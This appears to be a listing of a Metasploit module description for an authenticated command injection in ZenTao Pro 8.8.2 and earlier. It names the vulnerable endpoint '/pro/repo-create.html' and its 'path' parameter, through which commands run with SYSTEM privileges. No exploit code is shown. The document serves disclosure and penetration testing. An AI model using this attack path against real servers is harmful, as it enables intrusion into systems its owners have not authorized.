This Metasploit module exploits a command injection vulnerability in ZenTao Pro 8.8.2 and earlier versions in order to execute arbitrary commands with SYSTEM privileges. Valid credentials for a ZenTao admin account are required. This module has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on Windows 10 (XAMPP server).

'Description' => %q{
This module exploits a command injection vulnerability in ZenTao Pro
8.8.2 and earlier versions in order to execute arbitrary commands with
SYSTEM privileges.
The module first attempts to authenticate to the ZenTao dashboard. It
then tries to execute the payload by submitting fake repositories via
the 'Repo Create' function that is accessible from the dashboard via
CI>Repo. More precisely, the module sends HTTP POST requests to
'/pro/repo-create.html' that inject commands in the vulnerable 'path'
parameter which corresponds to the 'Client Path' input field.
Valid credentials for a ZenTao admin account are required. This module
has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on
Windows 10 (XAMPP server).
